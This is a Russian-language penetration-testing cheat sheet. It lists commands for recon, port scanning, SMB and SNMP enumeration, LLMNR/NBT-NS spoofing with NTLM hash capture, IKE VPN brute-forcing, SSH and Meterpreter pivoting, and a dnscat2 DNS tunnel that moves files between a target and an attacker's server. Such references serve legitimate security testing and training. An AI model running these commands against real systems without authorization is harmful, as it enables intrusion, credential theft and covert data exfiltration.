Базис команд и полезных трюков при проведении тестирования на проникновение

В данной статье мы разберем базис команд и полезных трюков при проведении тестирования на проникновение внешнего периметра.

Многие новички при работе в специализированных дистрибутивах (Kali Linux, BlackArch, BackBox и др.) сталкиваются с незнанием основного синтаксиса команд и простейшего инструментария при проведении тестирования на проникновение. Действительно, сейчас довольно много утилит и техник их использования, что поневоле "разбегаются глаза", что, когда и в каком случае применять. Для этого мы подготовили краткий справочник по основным командам и утилитам.

 

Справочник пентестера часть 1

 

Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.

 

Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия.

 

Конфигурация сети

 

Назначение IP-адреса

ifconfig eth0 xxx.xxx.xxx.xxx/24
Информация о подсети
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0

OSINT (сбор информации)

WHOIS:

whois domain-name-here.com

Выполнение DNS Lookup запросов:

dig @nameserver domainname.com A

Обнаружение MX записей:

dig @nameserver domainname.com MX

Выполнение запроса Zone Transfer используя DIG:

dig @nameserver domainname.com AXFR

DNS Трансфер зоны

Windows DNS трансфер зоны

nslookup -> set type=any -> ls -d blah.com

Linux DNS трансфер зоны

dig @ns1.blah.com blah.com axfr

Email

Используйте Simply Email для сбора почтовых адресов указанного домена из открытых источников (github, target site и т.п.). Утилита работает продуктивнее, если вы используете прокси и большие значения задержек, так, что google не будет считать активность подозрительной и выдавать капчу.

dig @ns1.blah.com blah.com axfr
git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email может проверять обнаруженные email адреса после сбора.

 

Ручной finger printing / banner grabbing

Получение информации о SMTP сервисе через баннер

nc -v 192.168.1.1 25
telnet 192.168.1.1 25
Получение баннера при помощи NC
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

DNS Брутфорс

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml output.xml

Сканирование портов

Nmap сканирование с подробным выводом, метод syn, T4 скорость (подходит для LAN), получение информации о версии ОС и сервисов, traceroute и NSE скрипты в отношении найденных сервисов

nmap -v -sS -A -T4 target
То же, что и выше, сканирование всех TCP, даже если хост не отвечает на ICMP запросы (занимает больше времени)
nmap -v -sS -p- -A -T4 -Pn target
То же, что выше, + сканирование UDP диапазона (требует очень много времени)
nmap -v -sU -sS -p- -A -T4 target
Nmap скрипт для обнаружения уязвимых SMB серверов (ВНИМАНИЕ: unsafe=1 может вызвать ошибку на сервере)
nmap -v -p 445 --script=smb-check-vulns  --script-args=unsafe=1 192.168.1.X
Поиск NSE скриптов по регулярным выражениям
ls /usr/share/nmap/scripts/* | grep ftp
Nmap UDP cканирование
nmap -sU target
UDP Protocol Scanner
git clone https://github.com/portcullislabs/udp-proto-scanner.git
Команда для сканирования IP-адресов из файла по всем сервисам:
./udp-proto-scanner.pl -f ip.txt
Сканирование определенного UDP сервиса:
udp-proto-scanner.pl -p ntp -f ips.txt

Другие методы для этапа host discovery, без использования nmap

Проверяет, доступен ли хост, путем отправки ARP запроса:
arping 192.168.1.1 -c 1
Обнаруживает IP, MAC адреса в подсети через ARP (может быть полезно для проверки VLAN):
netdiscover -r 192.168.1.0/24

Обнаружение и эксплуатация сетевых сервисов

Обнаружение SMB:

smblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Обнаруживает Windows/Samba серверы в подсети, определяет Windows MAC адреса, netbios имя и рабочую группу/домен

nbtscan 192.168.1.0/24

Определение версии SMB:

smbclient -L //192.168.1.100

Поиск SMB ресурсов:

nmap -T4 -v -oA shares --script=smb-enum-shares --script-args=smbuser=username,smbpass=password -p445 192.168.1.0/24

Обнаружение SMB пользователей:

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

Атака RID Cycling:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Модуль Metasploit для атаки RID cycling:

use auxiliary/scanner/smb/smb_lookupsid

Null session тестирование в ручном режиме

Windows:

net use \\TARGET\IPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131

NBTScan unixwiz

apt-get install nbtscan-unixwiz
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS Spoofing

Metasploit LLMNR / NetBIOS запросы:

Подмена/модификация LLMNR / NetBIOS запросов:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

Перехват NTLM хэшей:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

Для взлома хэша NTLMv2 используйте john или hashcat.


Как альтернативу можно использовать responder.py.

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0

SNMP

Исправление SNMP значений в выводе для удобного восприятия:

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf

Обнаружение SNMP

snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1|  grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts

Определение SNMPv3 серверов с nmap:

nmap -sV -p 161 --script=snmp-info target-subnet

Скрипт от Rory McCune’s помогает автоматизировать процесс поиска пользователей для SNMPv3:

https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

Словари Metasploit содержат стандартные учетные данные для SNMP v1 и v2:

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

Тестирование TLS & SSL

Тестирует всё на выбранном хосте и выводит в файл:

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html

Сеть

Перенаправление удаленного порта на локальный:

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

SSH Pivoting

ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip

SSH pivoting из одной подсети в другую:

ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

(добавьте socks4 127.0.0.1 1010 в /etc/proxychains.conf)

proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

(добавьте socks4 127.0.0.1 1011 в /etc/proxychains.conf)

Meterpreter Pivoting

portfwd add –l 3389 –p 3389 –r target
portfwd delete –l 3389 –p 3389 –r target

VLAN Hopping

Использование NCCGroups VLAN скприпт для Yersina упрощает процесс.

git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh

Обнаружение VPN серверов

./udp-protocol-scanner.pl -p ike TARGET(s)

Сканирование диапозона VPN серверов:

./udp-protocol-scanner.pl -p ike -f ip.txt

Использование IKEForce для обнаружения или словарной атаки на VPN серверы.

pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

Выполните обнаружение IKE VPN с помощью IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Брутфорс IKE VPN с помощьюIKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

Туннелирование трафика через DNS для обхода firewall

dnscat2 поддерживает “download” и “upload” команды для получения файлов (данные или программы) на и с целевой машины.
Машина атакующего:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

Запуск dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

Атакуемая машина:

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server_ip>